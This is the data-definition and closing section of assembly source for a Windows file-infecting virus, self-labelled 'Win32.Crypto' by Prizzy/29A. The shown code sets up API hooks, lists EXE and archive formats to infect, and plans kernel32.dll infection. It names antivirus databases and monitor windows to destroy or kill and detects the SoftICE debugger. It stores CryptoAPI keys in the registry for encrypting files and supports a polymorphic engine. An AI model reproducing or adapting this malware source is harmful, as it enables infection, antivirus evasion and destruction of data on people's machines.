ddGetModuleHandleA dd 00000000h
ddGetDriveTypeA dd 00000000h
ddFindFirstFileA dd 00000000h ;FindFIles functions
ddFindNextFileA dd 00000000h
ddFindClose dd 00000000h
ddReadFile dd 00000000h ;FileHandle functions
ddWriteFile dd 00000000h
ddSetFilePointer dd 00000000h
ddSetEndOfFile dd 00000000h
ddCloseHandle dd 00000000h
ddDeleteFileA dd 00000000h
ddSetFileAttributesA dd 00000000h
ddCreateFileMappingA dd 00000000h ;memory-mapped functions
ddMapViewOfFile dd 00000000h
ddUnmapViewOfFile dd 00000000h
ddGetTempPathA dd 00000000h ;get windows information
ddGetTempFileNameA dd 00000000h
ddGetSystemDirectoryA dd 00000000h
ddGetWindowsDirectoryA dd 00000000h
ddWritePrivatePFStringA dd 00000000h
ddGetModuleFileNameA dd 00000000h
ddGetVersion dd 00000000h
ddGetStartupInfoA dd 00000000h ;process information
ddWaitForSingleObject dd 00000000h
ddCreateProcessA dd 00000000h
ddOpenProcess dd 00000000h
ddGetCurrentProcessId dd 00000000h
ddCreateMutexA dd 00000000h
ddReleaseMutex dd 00000000h
ddSleep dd 00000000h
ddTerminateProcess dd 00000000h
ddGetSystemTime dd 00000000h ;date & time functions
ddGetTickCount dd 00000000h
ddGetFileSize dd 00000000h
ddGetFileTime dd 00000000h
ddSetFileTime dd 00000000h
ddFileTimeToSystemTime dd 00000000h
ddSystemTimeToFileTime dd 00000000h
ddIsDebuggerPresent dd 00000000h ;anti-debugging & anti-emul
ddCreateThread dd 00000000h
ddWideCharToMultiByte dd 00000000h ;stringz, characterz
ddlstrcat dd 00000000h
ddlstrlen dd 00000000h
ddIsBadCodePtr dd 00000000h
ddGetLastError dd 00000000h
HookedAddresses:
ddCreateFileW dd 00000000h ;opening files APIs
ddCreateFileA dd 00000000h
ddOpenFile dd 00000000h
dd_lopen dd 00000000h
ddCopyFileW dd 00000000h ;Copy/Move files APIs
ddCopyFileA dd 00000000h
ddMoveFileW dd 00000000h
ddMoveFileA dd 00000000h
ddMoveFileExW dd 00000000h
ddMoveFileExA dd 00000000h
ddLoadLibraryW dd 00000000h ;opening libraries APIs
ddLoadLibraryA dd 00000000h
ddLoadLibraryExW dd 00000000h
ddLoadLibraryExA dd 00000000h
ddFreeLibrary dd 00000000h
; functions from ADVAPI32.DLL library
HookedAddresses_advapi32:
ddCryptAcquireContextA dd 00000000h ;Cryptography functions
ddCryptExportKey dd 00000000h
ddCryptImportKey dd 00000000h
ddCryptGetUserKey dd 00000000h
ddCryptGetProvParam dd 00000000h
ddCryptGenKey dd 00000000h
ddCryptEncrypt dd 00000000h
ddCryptDecrypt dd 00000000h
ddCryptDestroyKey dd 00000000h
ddCryptReleaseContext dd 00000000h
ddRegOpenKeyExA dd 00000000h ;Registry functions
ddRegQueryValueExA dd 00000000h
ddRegQueryInfoKeyA dd 00000000h
ddRegEnumValueA dd 00000000h
ddRegSetValueExA dd 00000000h
ddRegCreateKeyExA dd 00000000h
ddRegCloseKey dd 00000000h
; functions from USER32.DLL library
HookedAddresses_user32:
ddSetTimer dd 00000000h
ddKillTimer dd 00000000h
ddFindWindowA dd 00000000h
ddPostMessageA dd 00000000h
ddCharUpperBuffA dd 00000000h
FunctionNames:
szGetProcAddress: __macro_CRC32 <GetProcAddress>
szGetModuleHandleA: __macro_CRC32 <GetModuleHandleA>
szGetDriveTypeA: __macro_CRC32 <GetDriveTypeA>
szFindFirstFileA: __macro_CRC32 <FindFirstFileA>
szFindNextFileA: __macro_CRC32 <FindNextFileA>
szFindClose: __macro_CRC32 <FindClose>
szReadFile: __macro_CRC32 <ReadFile>
szWriteFile: __macro_CRC32 <WriteFile>
szSetFilePointer: __macro_CRC32 <SetFilePointer>
szSetEndOfFile: __macro_CRC32 <SetEndOfFile>
szCloseHandle: __macro_CRC32 <CloseHandle>
szDeleteFileA: __macro_CRC32 <DeleteFileA>
szSetFileAttributesA: __macro_CRC32 <SetFileAttributesA>
szCreateFileMappingA: __macro_CRC32 <CreateFileMappingA>
szMapViewOfFile: __macro_CRC32 <MapViewOfFile>
szUnmapViewOfFile: __macro_CRC32 <UnmapViewOfFile>
szGetTempPathA: __macro_CRC32 <GetTempPathA>
szGetTempFileName: __macro_CRC32 <GetTempFileNameA>
szGetSystemDirectoryA: __macro_CRC32 <GetSystemDirectoryA>
szGetWindowsDirectoryA: __macro_CRC32 <GetWindowsDirectoryA>
szWritePrivatePFStringA:__macro_CRC32 <WritePrivateProfileStringA>
szGetModuleFileNameA: __macro_CRC32 <GetModuleFileNameA>
szGetVersion: __macro_CRC32 <GetVersion>
szGetStartupInfoA: __macro_CRC32 <GetStartupInfoA>
szWaitForSingleObject: __macro_CRC32 <WaitForSingleObject>
szCreateProcessA: __macro_CRC32 <CreateProcessA>
szOpenProcess: __macro_CRC32 <OpenProcess>
szGetCurrentProcessId: __macro_CRC32 <GetCurrentProcessId>
szCreateMutexA: __macro_CRC32 <CreateMutexA>
szReleaseMutex: __macro_CRC32 <ReleaseMutex>
szSleep: __macro_CRC32 <Sleep>
szTerminateProcess: __macro_CRC32 <TerminateProcess>
szGetSystemTime: __macro_CRC32 <GetSystemTime>
szGetTickCount: __macro_CRC32 <GetTickCount>
szGetFileSize: __macro_CRC32 <GetFileSize>
szGetFileTime: __macro_CRC32 <GetFileTime>
szSetFileTime: __macro_CRC32 <SetFileTime>
szFileTimeToSystemTime: __macro_CRC32 <FileTimeToSystemTime>
szSystemTimeToFileTime: __macro_CRC32 <SystemTimeToFileTime>
szIsDebuggerPresent: __macro_CRC32 <IsDebuggerPresent>
szCreateThread: __macro_CRC32 <CreateThread>
szWideCharToMultiByte: __macro_CRC32 <WideCharToMultiByte>
szlstrcat: __macro_CRC32 <lstrcat>
szlstrlen: __macro_CRC32 <lstrlen>
szIsBadCodePtr: __macro_CRC32 <IsBadCodePtr>
szGetLastError: __macro_CRC32 <GetLastError>
Hooked_API:
szCreateFileW: __macro_CRC32 <CreateFileW>
szCreateFileA: __macro_CRC32 <CreateFileA>
szOpenFile: __macro_CRC32 <OpenFile>
sz_lopen: __macro_CRC32 <_lopen>
szCopyFileW: __macro_CRC32 <CopyFileW>
szCopyFileA: __macro_CRC32 <CopyFileA>
szMoveFIleW: __macro_CRC32 <MoveFileW>
szMoveFileA: __macro_CRC32 <MoveFileA>
szMoveFileExW: __macro_CRC32 <MoveFileExW>
szMoveFileExA: __macro_CRC32 <MoveFileExA>
szLoadLibraryW: __macro_CRC32 <LoadLibraryW>
szLoadLibraryA: __macro_CRC32 <LoadLibraryA>
szLoadLibraryExW: __macro_CRC32 <LoadLibraryExW>
szLoadLibraryExA: __macro_CRC32 <LoadLibraryExA>
szFreeLibrary: __macro_CRC32 <FreeLibrary>
db 0, 0, 0, 0, 13, "ADVAPI32.DLL", 0
advapi32_name equ $ - 13
szCryptAcquireContextA: __macro_CRC32 <CryptAcquireContextA>
szCryptExportKey: __macro_CRC32 <CryptExportKey>
szCryptImportKey: __macro_CRC32 <CryptImportKey>
szCryptGetUserKey: __macro_CRC32 <CryptGetUserKey>
szCryptGetProvParam: __macro_CRC32 <CryptGetProvParam>
szCryptGenKey: __macro_CRC32 <CryptGenKey>
szCryptEncrypt: __macro_CRC32 <CryptEncrypt>
szCryptDecrypt: __macro_CRC32 <CryptDecrypt>
szCryptDestroyKey: __macro_CRC32 <CryptDestroyKey>
szCryptReleaseContext: __macro_CRC32 <CryptReleaseContext>
szRegOpenKeyExA: __macro_CRC32 <RegOpenKeyExA>
szRegQueryValueExA: __macro_CRC32 <RegQueryValueExA>
szRegQueryInfoKeyA: __macro_CRC32 <RegQueryInfoKeyA>
szRegEnumValueA: __macro_CRC32 <RegEnumValueA>
szRegSetValueExA: __macro_CRC32 <RegSetValueExA>
szRegCreateKeyExA: __macro_CRC32 <RegCreateKeyExA>
szRegCloseKey: __macro_CRC32 <RegCloseKey>
db 0, 0, 0, 0, 11, "USER32.DLL", 0
user32_name equ $ - 11
szSetTimer: __macro_CRC32 <SetTimer>
szKillTimer: __macro_CRC32 <KillTimer>
szFindWindowA: __macro_CRC32 <FindWindowA>
szPostMessageA: __macro_CRC32 <PostMessageA>
szCharUpperBuffA: __macro_CRC32 <CharUpperBuffA>
db 0, 0, 0, 0, 0 ;end of table
Hooked_API_functions: ;1st value = orig. adr ... 2nd = new function
hfCreateFileW dd offset myCreateFileA - 5, offset myCreateFileW
hfCreateFileA dd offset myOpenFile - 5, offset myCreateFileA
hfOpenFile dd offset my_lopen - 5, offset myOpenFile
hf_lopen dd offset myCopyFileW - 5, offset my_lopen
hfCopyFileW dd offset myCopyFileA - 5, offset myCopyFileW
hfCopyFileA dd offset myMoveFileW - 5, offset myCopyFileA
hfMoveFileW dd offset myMoveFileA - 5, offset myMoveFileW
hfMoveFileA dd offset myMoveFileExW - 5, offset myMoveFileA
hfMoveFileExW dd offset myMoveFileExA - 5, offset myMoveFileExW
hfMoveFileExA dd offset myLoadLibraryW- 5, offset myMoveFileExA
hfLoadLibraryW dd offset myLoadLibraryA - 5, offset myLoadLibraryW
hfLoadLibraryA dd offset myLoadLibraryExW - 5, offset myLoadLibraryA
hfLoadLibraryExW dd offset myLoadLibraryExA - 5, offset myLoadLibraryExW
hfLoadLibraryExA dd offset myFreeLibrary - 5, offset myLoadLibraryExA
hfFreeLibrary dd offset EndOfNewFunctions - 5, offset myFreeLibrary
; common valuez
gdt_flags dd 00000000h ;fixed & remote disks
file_infected dd 00000000h ;number of infected files
; copyright
szAuthor db "Win32.Crypto, (c)oded by Prizzy/29A",13,10
db "Greetz to Darkman, Benny and GriYo"
;ÄÄÄ´ archivez struct ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ACE,RAR SFX information
Archive_MagicWhere:
ACE_MagicWhere dw 0,ACENeededBytes;ACE archive (*.ACE)
dw 05C00h,300h ;ACE-SFX (DOS)
dw 0DE00h,2200h ;ACE-SFX English/German
;(Win 95/98, NT 4.x)
RAR_MagicWhere dw 0,20 ;RAR archive (*.RAR)
dw 2400h,800h ;RAR-SFX (DOS)
dw 5000h,800h ;RAR-SFX (Win 95/98, NT 4.x)
ACE_Magic db '**ACE**'
ACE_Magic_Length equ 07
RAR_Magic db 'Rar!',1Ah,7,0
RAR_Magic_Length equ 07
; ACE archivez struct
ACE_h_struct equ this byte
ACEhHeadCrc dw 0000h
ACEhHeadSize dw 0000h
ACEhHeadType db 00h
ACEhHeadFlags dw 0000h
ACEhSignature db '**ACE**'
ACE_h_struct_finish equ this byte
ACE_h_struct_continue struc ;this structure ain't
ACEhVerMod db 00h ;neccessary for RAR's
ACEhVerCr db 00h ;opeartions
ACEhHostCr db 00h
ACEhVolumeNumber db 00h
ACEhTimeDate dd 00000000h
ACEhReserved1 dw 0000h
ACEhReserved2 dw 0000h
ACEhReserved3 dd 00000000h
ACEhAvSize db 00h
ACEhAv equ ThisPlace
ACEhCommentSize dw 0000h
ACEhComment equ ThisPlace
ends
ACE_f_struct struc ;this structure ain't
ACEfHeadCRC dw 0000h ;neccessary for RAR's
ACEfHeadSize dw 0000h ;opeartions
ACEfHeadType db 00h
ACEfHeadFlags dw 0000h
ACEfCompressedSize dd 00000000h
ACEfUnCompressedSize dd 00000000h
ACEfTimeDate dd 00000000h
ACEfAttrib dd 00000000h
ACEfCRC32 dd 00000000h
ACEfTechType db 00h
ACEfTechQual db 00000000h
ACEfTechParm dw 0000h
ACEfReserved dw 0000h
ACEfFilenameSize dw 0000h
ACEfFilename db 8+1+3 dup (00h)
ends
ACENeededBytes equ ACE_h_struct_finish - ACE_h_struct
; RAR archivez struct
RARSignature db 'Rar!',1Ah,7,0 ;RAR's signature (v1.5+)
RARSignature_Length equ 07 ;seven bytes
RAR_struct equ this byte
RARHeaderCRC dw 0000h
RARHeaderType db 00h
RARFileFlags dw 0000h
RARHeaderSize dw 0000h
RAR_struct_finish equ this byte
RAR_struct_continue struc ;this structure ain't
RARCompressedSize dd 00000000h ;neccessary for RAR's
RARUncompressedSize dd 00000000h ;opeartions
RARHostOS db 00h
RARFileCRC dd 00000000h
RARDateTime dd 00000000h
RARVersionNeed db 00h
RARMethod db 00h
RARFileNameSize dw 0000h
RARFileAttribute dd 00000000h
RARFileName db 8+1+3 dup(00h)
ends
RARNeededBytes equ RAR_struct_finish - RAR_struct
; ARJ archivez struct
ARJ_struct equ this byte
ARJHeaderId dw 0EA60h
ARJHeaderSize dw 0000h
ARJ1HeaderSize db 00h
ARJVersionDone db 00h
ARJVersionNeed db 00h
ARJHostOS db 00h
ARJFlags db 00h
ARJMethod db 00h
ARJType db 00h
ARJReserved db 00h
ARJDateTime dd 00000000h
ARJCompressedSize dd 00000000h
ARJ_struct_finish equ this byte
ARJ_struct_continue struc ;this structure ain't
ARJUncompressedSize dd 00000000h ;neccessary for ARJ's
ARJFileCRC dd 00000000h ;opeartions
ARJEntryname dw 0000h
ARJAccessMode dw 0000h
ARJHostData dw 0000h
ARJFilename db 8+1+3 dup(00h) ;from this it isn't exact,
ARJComment db 00h ;ARJFilename has not 8+1+3
ARJHeaderCRC dd 00000000h ;size
ARJExtHeader dw 0000h
ARJEnd dw 0EA60h, 0000h
ends
ARJNeededBytes equ ARJ_struct_finish - ARJ_struct
ARJGetSizeOnly equ ARJVersionDone - ARJ_struct
; ZIP archivez struct
ZIPInfoBuffer equ this byte ;thanks to ZIP's structs
ZIPRHeaderId db 'PK' ;from Vecna's "El Inca"
ZIPRSignature db 01h, 02h ;virus
ZIPRVerMade dw 000Ah
ZIPRVerNeed dw 000Ah
ZIPRFlags dw 0000h
ZIPRMethod dw 0000h
ZIPRTimeDate dd 00000000h
ZIPRCRC32 dd 00000000h
ZIPRCompressed dd 00000000h
ZIPRUncompressed dd 00000000h
ZIPRSizeFilename dw 0000h
ZIPRExtraField dw 0000h
ZIPRCommentSize dw 0000h
ZIPRDiskNumba dw 0000h
ZIPRInternalAttr dw 0000h
ZIPRExternalAttr dd 00000000h
ZIPROffsetLHeaderR dd 00000000h
ZIPRFilename db 8+1+3 dup (00h)
ZIPRHeaderSize equ ZIPRFilename - ZIPRHeaderId
ZIPRScanSize1 equ ZIPRSizeFilename - ZIPRHeaderId
ZIPRScanSize2 equ ZIPRFilename - ZIPRSizeFilename
ZIPRScanSize3 equ ZIPROffsetLHeaderR - ZIPRSizeFilename
ZIPMHeaderBuffer struc ;this structure ain't
ZIPLHeaderId db 'PK' ;neccessary for ZIP's
ZIPLSignature dw 0403h ;operations
ZIPLVersionNeed dw 0000h
ZIPLFlags dw 0000h
ZIPLMethod dw 0000h
ZIPLDateTime dd 00000000h
ZIPLCRC32 dd 00000000h
ZIPLCompressed dd 00000000h
ZIPLUncompressed dd 00000000h
ZIPLSizeFilename dw 0000h
ZIPLExtraField dw 0000h
ZIPLFilename db 8+1+3 dup (00h)
ends
ZIPMScanSize equ ZIPLSizeFilename - ZIPMHeaderBuffer
ZIPMFilename equ ZIPLFilename - ZIPMHeaderBuffer
ZIPReadBuffer equ this byte
ZIPEHeaderId db 'PK'
ZIPSignature dw 0000h
ZIPNoDisk dw 0000h
ZIPNoStartDisk dw 0000h
ZIPEntryDisk dw 0000h
ZIPEntrysDir dw 0000h
ZIPSizeDir dd 00000000h
ZIPOffsetDir dd 00000000h
ZIPCommentLenght dw 0000h
ZIPEHeaderSize equ this byte - offset ZIPReadBuffer
; CAB achivez struct
CAB_h_struct equ this byte
CABh_Magic db 'MSCF' ;"MSCF" signature
CABh_Reserved1 dd 00000000h ;reserved
CABh_FileSize dd 00000000h ;file size of this cabinet
CABh_Reserved2 dd 00000000h ;reserved
CABh_FirstRec dd 00000000h ;offset of the 1st entry
CABh_Reserved3 dd 00000000h ;reserved
CABh_VersionMin db 00h ;CAB file format version
CABh_VersionMaj db 00h ;curently: 0x0103
CABh_nFolders dw 0000h ;number of folders
CABh_nFiles dw 0000h ;number of files
CABh_Flags dw 0000h ;1=exist its prev. cabinet
;2=exist its next cabinet
;4=exist its reser. field
CABh_ID dw 0000h ;identification number
CABh_Number dw 0000h ;number of cab (0=the first)
CAB_h_finish equ this byte
CAB_reserved struct
CABr_length dw 0000h ;if CABh_Flags=4
CABr_reserved equ this byte
ends
CAB_directory_start equ this byte
CABd_FirstRec dd 00000000h ;offset of the 1st dir
CABd_nData dw 0000h ;number of cfDATA structz
CABd_Compress dw 0000h ;compression type
CABd_Reserved equ this byte ;this can be reserved area
CAB_file_start equ this byte
CABf_UnCompSize dd 00000000h ;file size (uncompressed)
CABf_FileStart dd 00000000h ;offset of the file
CABf_Flags dw 0000h ;0000=file in folder #0
;0001=file in folder #1
;FFFD=file from prev
;FFFE=file to next
;FFFF=file prev_and_next
CABf_Date dw 1234h ;date
CABf_Time dw 1234h ;time
CABf_Attribs dw 0020h ;attr of the file
CABf_FileName db 8+1+3 dup (00h) ;file_name + 00h
db 00h
CAB_entry equ this byte
CABe_CRC dd 00000000h ;checksum of this entry
CABe_Compr dw 0000h ;compressed size
CABe_UnCompr dw 0000h ;uncompressed size
CABe_Compr_data equ this byte
; generate command for archiver programs by this table
; include compress method, archives filenames, and ">nul"
; note: 32=20h because of i'm using DN (and it does optim.)
ArchiverCommand db ' a -ep -std -m' ,05h,'12345' ;ACE
db ' a -ep',32,32,32,32,32,32, \
'-m' ,05h,'12345' ;RAR
db ' a -e',32,32,32,32,32,32,32, \
'-m' ,04h,'1234 ' ;ARJ
db ' -a' ,32,32,32,32,32,32,32,32,32, \
'-e' ,04h,'xnfs ' ;PKZIP
ArchiverCommandSize equ 0000000Eh ;lenght of one command
ArchiverCommandRealSize equ 00000014h ;lenght of command + c. method
; I must find these programs by hyper infection
; the 1st value means - 00h = only extension, 01h = name
; the 4th value means - 00h = search, 01h = don't search
; the 5th value means - jump there, if found
; the 6th value means - useful value for that function
HyperTable db 01h,'PKZIP.EXE' , 00h, 00h
dd offset archive_act, offset NewZIP
db 01h,'ARJ.EXE' , 00h, 00h
dd offset archive_act, offset NewARJ
db 01h,'RAR.EXE' , 00h, 00h
dd offset archive_act, offset NewRAR
db 01h,'ACE.EXE' , 00h, 00h
dd offset archive_act, offset NewACE
db 00h,'.EXE' , 00h, 00h
dd offset infect_file, 00000000h
db 00h,'.ZIP' , 00h, 00h ;Internet's archive
dd offset infect_file, 00000000h
db 00h,'.ARJ' , 00h, 00h ;Old archive
dd offset infect_file, 00000000h
db 00h,'.RAR' , 00h, 00h ;User's archive
dd offset infect_file, 00000000h
db 00h,'.ACE' , 00h, 00h ;Hacker's archive
dd offset infect_file, 00000000h
db 00h,'.CAB' , 00h, 00h ;Fucking MicroSoft's
dd offset infect_file, 00000000h ;archive format
db 01h,'AVP.CRC' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'IVP.NTZ' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'ANTI-VIR.DAT', 00h, 00h
dd offset kill_av , 00000000h
db 01h,'CHKLIST.MS' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'CHKLIST.CPS' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'SMARTCHK.MS' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'SMARTCHK.CPS', 00h, 00h
dd offset kill_av , 00000000h
db 01h,'AGUARD.DAT' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'AVGQT.DAT' , 00h, 00h
dd offset kill_av , 00000000h
db 01h,'LGUARD.VPS' , 00h, 00h ;AVAST's viruses data-
dd offset kill_avast , 00000000h ;base, hack its !!!
db 0FFh
HyperTable_OneSize equ 0000000Fh ;size of ext field
HyperTable_HalfSize equ 00000009h ;size of pointers
gen_archive_number equ 10
gen_archive_filename db 0,7,'install', 1,5,'setup', 0,3,'run', \
0,5,'sound', 0,6,'config',0,4,'help', \
1,6,'gratis', 1,5,'crack', 1,6,'update', \
1,6,'readme'
; Hyper Infection - kernel32 internal values
HyperInfection_k32 dd 00000000h ;actived from "kernel32" ?
HyperInfection_timerID dd 00000000h ;timer identification
; AVAST's viruses database
AVAST_newSize equ 514847 ;this size + <0,50Kb)
AVAST_memSize equ AVAST_newSize + 100h
; some AV monitors
kill_AV equ this byte
db 'AVG Control Center',0 ;AVG Grisoft
db 'Avast32 -- Rezidentní podpora',0 ;AVAST32 (CZ)
db 'AVP Monitor',0 ;AVP
db 'Amon Antivirus Monitor',0 ;AMON English
db 'Antivírusový monitor Amon',0 ;AMON Slovak
kill_AV_num equ 5 ;four monitors
; some debuggers
kill_SoftICE db '\\.\SICE',0 ;SoftICE 95/98
kill_SoftICE_NT db '\\.\NTICE',0 ;SoftICE NT/2k
; kernel infection
kernel_name db '\KERNEL32.DLL',0
kernel_name_len equ $ - kernel_name
it_is_kernel dd 00000000h ;infect kernel via "infect_file" ?
; do not infected table (thanx Lord Julus/29A for this tbl)
avoid_table db 'TB' ,00h,'F-' ,00h,'AW' ,00h,'AV' ,00h
db 'NAV' ,00h,'PAV' ,00h,'RAV' ,00h,'NVC' ,00h
db 'FPR' ,00h,'DSS' ,00h,'IBM' ,00h,'INOC' ,00h
db 'ANTI' ,00h,'SCN' ,00h,'VSAF' ,00h,'VSWP' ,00h
db 'PANDA' ,00h,'DRWEB' ,00h,'FSAV' ,00h,'SPIDER',00h
db 'ADINF' ,00h,'SONIQUE',00h,'SQSTART',00h,01h
; Microsoft Cryptography functions, what a dream {:-D
crypto_KeyName db 'Prizzy/29A',0 ;my new crypto-key
crypto_Action dd 00000000h ;exists crypto functions ?
crypto_loadKey dd 00000000h ;has key been loaded ?
crypto_Provider dd 00000000h ;CSP provider
crypto_Key dd 00000000h ;CPS key
crypto_XchgKey dd 00000000h ;exportable CSP key
crypto_BlobLen dd 00000000h ;simple blob key length
crypto_BlobKey dd 00000000h ;simple blob key pointer
crypto_BlobHan dd 00000000h ;simple blob key reg handle
crypto_mainProcId dd 00000000h
crypto_mainThread dd 00000000h ;main (crypto) thread handle
crypto_thread dd 00000000h ;thread parameter
CT_LOADKEY equ 1 ;get key handle
CT_CRYPTFILE equ 2 ;crypt_file function
CT_DECRYPTFILE equ 4 ;decrypt_file function
crypto_thread_err dd 00000000h ;set LastError flag
crypto_unFiles db 'SFC' ,00h,'MPR' ,00h,'OLE32' ,00h
db 'NTDLL' ,00h,'GDI32' ,00h,'RPCRT4' ,00h
db 'USER32' ,00h,'RSASIG' ,00h,'SHELL32' ,00h
db 'CRYPT32' ,00h,'RSABASE' ,00h,'PSTOREC' ,00h
db 'KERNEL32',00h,'ADVAPI32',00h,'RUNDLL32',00h
db 'SFCFILES',00h,01h
crypto_unReg32 db "System\CurrentControlSet\Control\SessionManager\KnownDLLs",0
crypto_unReg16 db "System\CurrentControlSet\Control\SessionManager\Known16DLLs",0
crypto_unReg equ this byte
dd offset crypto_unReg32
dd offset crypto_unReg16
crypto_unReg_E equ this byte
crypto_mainMutex db "Crypto:mainThread",0
crypto_mutex db "Crypto:Mutex",0
crypto_library dd 00000000h ;libraries information
crypto_nLib dd 00000000h ;number of items
crypto_Register db "SOFTWARE\Microsoft\Cryptography\UserKeys\Prizzy/29A",0
crypto_RegWhere db "EPbK",0
crypto_RegFlag db "Kiss Of Death",0
align dword ;filesize divided by eight
dd 00000000h ;only for multi-layer poly
;ÄÄÄ´ memory buffer which ain't in file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
file_end:
; working with filez
filename_ptr dd 00000000h ;pointer to a filename
filename_size equ 260 ;MAX_SIZE defined by M$
filename db filename_size dup (00h)
file_handle dd 00000000h ;open file handle
file_hmap dd 00000000h ;mapped file handle
file_hmem dd 00000000h ;mapped file in memory
file_hsize dd 00000000h ;file size + virus size
last_error dd 00000000h ;buffer for file operations
; hyper infection
search_filename db filename_size dup (00h)
search_start db 00h ;have we begun yet ?
search_address dd 00000000h ;address of dta's in memory
search_plunge db 00h ;how many dirz we have in
search_handle dd 00000000h ;FindFirstFile handle
search_table dd 00000000h ;position in HyperTable
dta dta_struc <00h> ;main dta struc for search_handle
time sysTime_struc <00h> ;time for my new hyper_infection
; file infected co-processor structs
exp_truncate dw 0000h ;copro status flags
exp_default dw 0000h ;copro status flags
exp_further dd 00000000h ;copro number's buffer
decimal_places dd 00000000h ;dec_place=modf(num,&int)
; new infection method (compressed, inside archive)
AProgram struc
program dd 00000000h ;where's place program
dropper dd 00000000h ;where's place dropper
ends
NewArchive equ this byte
NewArchiveNum equ 00000005h
NewArchiveSize equ size AProgram
NewACE AProgram <00h>
NewRAR AProgram <00h>
NewARJ AProgram <00h>
NewZIP AProgram <00h>
NewCAB AProgram <00h>
FileTime File_Time <00h> ;get/set archive infect flag
SystemTime sysTime_struc <00h> ;convert FileTime to SystemT
; CreateProcess structures
ProcessInformation Process_Information <00h> ;info about process
StartupInfo Startup_Info <00h> ;window's info
; Coprocessor buffer - natural logarithm
copro_nl_buffer db 128 dup (00h) ;all regz + all flagz
; data used by Prizzy Polymorphic Engine (PPE-II)
poly_seed dd 00000000h ;last number in get_rnd32 function
garbage_style db 00h ;have I use unmodify flags instructions ?
used_regs db 00h ;used eax,ecx,edx...
gl_index_reg db 00h ;which reg is index ?
gl_index_reg2 db 00h ;more complex - no comment :)
mem_address dd 00000000h ;where's copy of this virus
poly_start dd 00000000h ;where poly decoder start
poly_finish dd 00000000h ;where poly decoder finish
recursive_level db 00h ;garbage recursive layer
index_reg db 00h ;index_reg in base-reg
mlayer_reg db 00h ;mlayer_reg in base-reg
code_reg db 00h ;code_reg in base-reg
code_value dd 00000000h ;startup code value
code_value_add dd 00000000h ;next_code = code + this_c
crypt_style db 00h ;(0=add/1=sub/2=xor) [---],reg32
decoder_back dd 00000000h ;address for JNZ loop
compare_index db 00h ;where in <compare_buffer>
compare_buffer dd 5 dup(00000000h) ;see <g_compare> for more info
mem_end:
;ÄÄÄ´ first generation ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
first_generation:
; after installing, run it above
mov [__pllg_lsize],00000000h
mov dword ptr [original_ep], \
offset __fg_run_this - offset virus_start + 1000h
jmp virus_start
__fg_run_this:
; display a simple message box
push MB_OK
@pushsz "Win32.Crypto - welcome to my world..."
@pushsz "First generation sample"
push 0
call MessageBoxA
; exit program - haha huahaha <program> :))
push 0
call ExitProcess
;ÄÄÄ´ end of virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
end first_generation